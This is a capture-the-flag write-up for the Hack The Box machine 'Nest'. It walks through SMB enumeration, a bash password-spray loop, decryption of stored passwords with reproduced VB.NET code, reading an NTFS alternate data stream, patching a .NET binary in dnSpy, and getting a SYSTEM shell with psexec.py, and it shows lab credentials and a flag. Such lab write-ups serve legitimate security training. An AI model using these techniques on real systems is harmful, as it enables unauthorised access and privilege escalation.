Nest is one of my favorite machines after Forest, I learned a lot about enumeration here, especially for SMB.
The machine starts with anonymous access on SMB, which allows me to obtain credentials of a temporary user. With user-level access, it is possible to read another file shares in order to obtain an encrypted password and a VB project that can be used to decrypt the password. The password allows me to enable debug mode on a custom app and read an encrypted Administrator password. The admin password can be decrypted by reversing the app.
Skills Learned
- SMB enumeration
- Alternate Data Stream
- Reversing .NET
Tools
- Kali Linux (Attacking Machine) - https://www.kali.org/
- Nmap - Preinstalled in Kali Linux
- smbclient - Preinstalled in Kali Linux
- Impacket - https://github.com/SecureAuthCorp/impacket
Reconnaissance
Nmap
nmap
shows two ports open: SMB on port 445, and an unknown service on port 4386, but the fingerprints show it as ‘Reporting Service V1.2’.
→ root@iamf «nest» «192.168.43.234»
$ nmap -p1-5000 -sC -sV -oA nmap/nest 10.10.10.178
Nmap scan report for htb.nest (10.10.10.178)
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds?
4386/tcp open unknown
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe:
| Reporting Service V1.2
| FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions:
| Reporting Service V1.2
| Unrecognised command
| Help:
| Reporting Service V1.2
| This service allows users to run queries against databases using the legacy HQK format
| AVAILABLE COMMANDS ---
| LIST
| SETDIR <Directory_Name>
| RUNQUERY <Query_ID>
| DEBUG <Password>
|_ HELP <Command>
Host script results:
|_clock-skew: -27s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-04-28T15:16:46
|_ start_date: 2020-04-28T04:20:37
Enumeration
TCP 445 - SMB
Anonymous access is allowed here.
→ root@iamf «nest» «192.168.43.234»
$ smbclient -N -L //10.10.10.178/
Data share
Enumeration on Data
share with recurse mode shows two text files.
One of them is empty while the other one contains credentials for TempUser:Welcome2019
.
→ root@iamf «smb» «192.168.43.234»
$ cat loot/Welcome\ Email.txt
We would like to extend a warm welcome to our newest member of staff, <FIRSTNAME> <SURNAME>
You will find your home folder in the following location:
\\HTB-NEST\Users\<USERNAME>
If you have any issues accessing specific services or workstations, please inform the
IT department and use the credentials below until all systems have been set up for you.
Username: TempUser
Password: welcome2019
Thank you
HR
With TempUsers
, I can access the Secure$
share.
Unfortunately, once I got to Secure$
share, I couldn’t list any single directory.
→ root@iamf «smb» «192.168.43.234»
$ smbclient -U 'TempUser%welcome2019' //10.10.10.178/Secure$
Try "help" to get a list of possible commands.
smb: \> recurse on
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \Finance\*
NT_STATUS_ACCESS_DENIED listing \HR\*
NT_STATUS_ACCESS_DENIED listing \IT\*
On the other hand, I did a user enumeration using rpcclient
.
With a little knowledge of scripting, I can filter the user.
→ root@iamf «nest» «192.168.43.234»
$ rpcclient -U 'TempUser%welcome2019' -c 'enumdomusers;quit' 10.10.10.178 | tr -d '[]' | cut -d ':' -f2 | cut -d ' ' -f1
Administrator
C.Smith
Guest
Service_HQK
TempUser
I did a password spray using a simple bash script with a pattern of username:username
, but no luck
#!/bin/bash
for u in `cat rpcusers.txt`; do
echo -n “[*] user : $u “ &&
rpcclient -U “$u%$u” -c “getusername;quit” 10.10.10.178
done
I also check on users’ information to find a plain password in the description, but only end up knowing that the user flag is on c.smith
.
I went back to SMB, I decided to download all the content in the Data
share.
→ root@iamf «loot» «192.168.43.234»
$ smbget -R smb://10.10.10.178/Data/ -U TempUser # or use mget * inside smbclient
Here is the folder structure on Data
→ root@iamf «Data» «192.168.43.234»
$ tree
.
├── IT
│ ├── Archive
│ ├── Configs
│ │ ├── Adobe
│ │ │ ├── editing.xml
│ │ │ ├── Options.txt
│ │ │ ├── projects.xml
│ │ │ └── settings.xml
│ │ ├── Atlas
│ │ │ └── Temp.XML
│ │ ├── DLink
│ │ ├── Microsoft
│ │ │ └── Options.xml
│ │ ├── NotepadPlusPlus
│ │ │ ├── config.xml
│ │ │ └── shortcuts.xml
│ │ ├── RU Scanner
│ │ │ └── RU_config.xml
│ │ └── Server Manager
│ ├── Installs
│ ├── Reports
│ └── Tools
├── Production
├── Reports
└── Shared
├── Maintenance
│ └── Maintenance Alerts.txt
└── Templates
├── HR
│ └── Welcome Email.txt
└── Marketing
Notepad++ config on Data/IT/Configs/NotepadPlusPlus/config.xml
contains interesting path.
...[SNIP]...
<History nbMaxFile="15" inSubMenu="no" customLength="-1">
<File filename="C:\windows\System32\drivers\etc\hosts" />
<File filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt" />
<File filename="C:\Users\C.Smith\Desktop\todo.txt" />
</History>
</NotepadPlus>
In /Data/IT/Configs/RU Scanner/RU_config.xml
, I found a pair credentials for user c.smith
.
→ root@iamf «RU Scanner» «192.168.43.234»
$ cat RU_config.xml
<?xml version="1.0"?>
<ConfigFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<Port>389</Port>
<Username>c.smith</Username>
<Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
</ConfigFile>
At first glance, the password looks like a base64 encoded, but it is encrypted:
→ root@iamf «RU Scanner» «192.168.43.234»
$ echo 'fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=' | base64 -d
}13☺□♥□=X□J□BA□↓☺X*□Wc□f□□□?βc◄
Secure$ share
User carl doesn’t appear on my enumeration with rpcclient
, so after discovering this path \\HTB-NEST\Secure$\IT\Carl\
, I went back to Secure$
share and performed a recursive download there.
→ root@iamf «Data» «192.168.43.234»
$ smbget -R smb://10.10.10.178/Secure$/IT/Carl/ -U TempUser
Here is the Secure$
structure.
→ root@iamf «Secure$» «192.168.43.234»
$ tree
.
├── Docs
│ ├── ip.txt
│ └── mmc.txt
├── Reports
└── VB Projects
├── Production
└── WIP
└── RU
├── RUScanner
│ ├── bin
│ │ ├── Debug
│ │ └── Release
│ ├── ConfigFile.vb
│ ├── Module1.vb
│ ├── My Project
│ │ ├── Application.Designer.vb
│ │ ├── Application.myapp
│ │ ├── AssemblyInfo.vb
│ │ ├── Resources.Designer.vb
│ │ ├── Resources.resx
│ │ ├── Settings.Designer.vb
│ │ └── Settings.settings
│ ├── obj
│ │ └── x86
│ ├── RU Scanner.vbproj
│ ├── RU Scanner.vbproj.user
│ ├── SsoIntegration.vb
│ └── Utils.vb
└── RUScanner.sln
I just downloaded a whole VB Project!
Based on Module1.vb
’s content, RU_config.xml
is loaded to the application, and from this line .Password = Utils.DecryptString(Config.Password)
, I know this application is able to decrypt c.smith
’s password.
→ root@iamf «WIP» «192.168.43.234»
$ cat RU/RUScanner/Module1.vb
Module Module1
Sub Main()
Dim Config As ConfigFile = ConfigFile.LoadFromFile("RU_Config.xml")
Dim test As New SsoIntegration With {.Username = Config.Username, .Password = Utils.DecryptString(Config.Password)}
End Sub
End Module
Foothold
Access as c.smith
Decrypting c.smith password
The encrypted password can be decrypted easily by taking out the utils class and the decrypt function from Utils.vb
, then call it on the main function. I used https://dotnetfiddle.net/ for this.
Here is how it looks like.
Imports System
Imports System.Text
Imports System.Security.Cryptography
Public Module Module1
Public Sub Main()
Dim encryptedPassword
encryptedPassword = "fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE="
Console.WriteLine("Decrypted Password: " +Utils.DecryptString(encryptedPassword))
End Sub
End Module
Public Class Utils
Public Shared Function DecryptString(EncryptedString As String) As String
If String.IsNullOrEmpty(EncryptedString) Then
Return String.Empty
Else
Return Decrypt(EncryptedString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
End If
End Function
Public Shared Function Decrypt(ByVal cipherText As String, _
ByVal passPhrase As String, _
ByVal saltValue As String, _
ByVal passwordIterations As Integer, _
ByVal initVector As String, _
ByVal keySize As Integer) _
As String
Dim initVectorBytes As Byte()
initVectorBytes = Encoding.ASCII.GetBytes(initVector)
Dim saltValueBytes As Byte()
saltValueBytes = Encoding.ASCII.GetBytes(saltValue)
Dim cipherTextBytes As Byte()
cipherTextBytes = Convert.FromBase64String(cipherText)
Dim password As New Rfc2898DeriveBytes(passPhrase, _
saltValueBytes, _
passwordIterations)
Dim keyBytes As Byte()
keyBytes = password.GetBytes(CInt(keySize / 8))
Dim symmetricKey As New AesCryptoServiceProvider
symmetricKey.Mode = CipherMode.CBC
Dim decryptor As ICryptoTransform
decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes)
Dim memoryStream As IO.MemoryStream
memoryStream = New IO.MemoryStream(cipherTextBytes)
Dim cryptoStream As CryptoStream
cryptoStream = New CryptoStream(memoryStream, _
decryptor, _
CryptoStreamMode.Read)
Dim plainTextBytes As Byte()
ReDim plainTextBytes(cipherTextBytes.Length)
Dim decryptedByteCount As Integer
decryptedByteCount = cryptoStream.Read(plainTextBytes, _
0, _
plainTextBytes.Length)
memoryStream.Close()
cryptoStream.Close()
Dim plainText As String
plainText = Encoding.ASCII.GetString(plainTextBytes, _
0, _
decryptedByteCount)
Return plainText
End Function
End Class
Now I have c.smith
’s password: xRxRxPANCAK3SxRxRx
.
Users share
With c.smith
credentials, I do more enumeration on SMB. First, I’ll look into the c.smith
home directory.
→ root@iamf «smb» «192.168.43.234»
$ smbclient -U 'c.smith%xRxRxPANCAK3SxRxRx' //10.10.10.178/Users
Try "help" to get a list of possible commands.
smb: \C.Smith\> dir
. D 0 Sun Jan 26 02:21:44 2020
.. D 0 Sun Jan 26 02:21:44 2020
HQK Reporting D 0 Thu Aug 8 19:06:17 2019
user.txt A 32 Thu Aug 8 19:05:24 2019
I downloaded those files recursively to my machine.
→ root@iamf «c.smith» «192.168.43.234»
$ tree
.
├── HQK Reporting
│ ├── AD Integration Module
│ │ └── HqkLdap.exe
│ ├── Debug Mode Password.txt
│ └── HQK_Config_Backup.xml
└── user.txt
user.txt
is the user flag.
→ root@iamf «c.smith» «192.168.43.234»
$ cat user.txt
cf71b25404be5d84fd827e05f426e987
HQK_Config_Backup.xml
doesn’t contains any useful information
→ root@iamf «c.smith» «192.168.43.234»
$ cat HQK\ Reporting/HQK_Config_Backup.xml
<?xml version="1.0"?>
<ServiceSettings xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<Port>4386</Port>
<QueryDirectory>C:\Program Files\HQK\ALL QUERIES</QueryDirectory>
</ServiceSettings>
Debug Mode Password.txt
is empty file. But when I thought it was empty, I asked a hint for this.
This file is embedded with Alternate Data Stream (ADS). By using the allinfo
command on the SMB, I can see it contains another data stream, Password:$Data
.
To get that stream, I can just append :Password:$Data
at the end of the file name.
smb: \C.Smith\HQK Reporting\> allinfo "Debug Mode Password.txt"
altname: DEBUGM~1.TXT
create_time: Thu Aug 8 07:06:12 PM 2019 EDT
access_time: Thu Aug 8 07:06:12 PM 2019 EDT
write_time: Thu Aug 8 07:08:17 PM 2019 EDT
change_time: Thu Aug 8 07:08:17 PM 2019 EDT
attributes: A (20)
stream: [::$DATA], 0 bytes
stream: [:Password:$DATA], 15 bytes
smb: \C.Smith\HQK Reporting\> get "Debug Mode Password.txt":Password:$DATA
getting file \C.Smith\HQK Reporting\Debug Mode Password.txt:Password:$DATA of size 15 as Debug Mode Password.txt:Password:$DATA (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
Now I can use the cat
command to see the file content.
→ root@iamf «c.smith» «192.168.43.234»
$ cat Debug\ Mode\ Password.txt:Password:\$DATA
WBQ201953D8w
Privilege Escalation
Shell as SYSTEM
Examination on HQK Reporting Service v1.2
When visiting http://10.10.10.178:4386/
, the browser return a session timeout with >
symbol, this can imply that this service is cli-based
With telnet
, I can access this service.
→ root@iamf «c.smith» «192.168.43.234»
$ telnet 10.10.10.178 4386
The service has debug mode and enabling it shows more commands.
>debug WBQ201953D8w
Took me a minute to understand the commands, so basically:
- LIST is to list directory,
- SHOWQUERY is to show file content,
- RUNQUERY is to execute.
- SETDIR is change directory.
Looking up into the LDAP directory, there’s ldap.conf
that contains administrator credentials with another encrypted password.
I have a copy of HqkLdap.exe
from the previous loot on c.smith
’s directory, and I will copy that from Kali to my Windows to inspect it. I will also create a copy of the Ldap.conf
file.
Reversing HqkLdap.exe
Running strings HqkLdap.exe
against the app reveals that it was built with.NET.
There is a very useful tool for reversing and debugging .NET applications called dnSpy
. It’s free on Github.
I will open HqkLdap.exe
on dnSpy
and go straight to the application main function.
To run this program properly, a config file, which is ldap.conf
, must be supplied as an argument to the application, and it also needs the existence of HqkDbImport.exe
(These two files must be placed in the same folder with HqkLdap.exe
).
So if I run it and I don’t pass the check, it will complain like this:
PS C:\Users\fahmi\Desktop>.\HqkLdap.exe Ldap.conf
Please ensure the optional database import module is installed
Next, I look at the decrypt function, which is called on the main when the check is passed.
On the next block, I see ldapSearchSettings.Password
is assigned to ldap.Password
Exploitation
To exploit this HqkLdap.exe
, I will:
- Remove the part of codes that used to check for the existence of
HqkDbImport.exe
- Add another line to print out the password from
ldap.Password
.
I’ll use the edit feature to edit the main class.
Also, I’ll get rid of the line that is used to check the existence of HqkDbImport.exe
public static void Main()
{
checked
{
try
{
if (MyProject.Application.CommandLineArgs.Count != 1)
{
Console.WriteLine("Invalid number of command line arguments");
}
else if (!File.Exists(MyProject.Application.CommandLineArgs[0]))
{
Console.WriteLine("Specified config file does not exist");
}
else {
...[SNIP] ...
Then I’ll add a new line code on the main function at line 56 to print ldap.Password
to the console.
I tried to compile it back but then there was an error about the unassigned local variable ’enumerator’. I deleted the following line and attempted to re-compile the binary, and it worked.
Now I can just run with the ldap.conf supplied as its argument, and it pops the password out.
The password is: XtH4nkS4Pl4y1nGX
.
psexec.py
These credentials can be used with ps-exec.py
→ root@iamf «c.smith» «192.168.43.234»
$ psexec.py HTB-NEST/Administrator:XtH4nkS4Pl4y1nGX@10.10.10.178
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
[*] Requesting shares on 10.10.10.178.....
[*] Found writable share ADMIN$
[*] Uploading file nQyIIpWk.exe
[*] Opening SVCManager on 10.10.10.178.....
[*] Creating service gfCe on 10.10.10.178.....
[*] Starting service gfCe.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system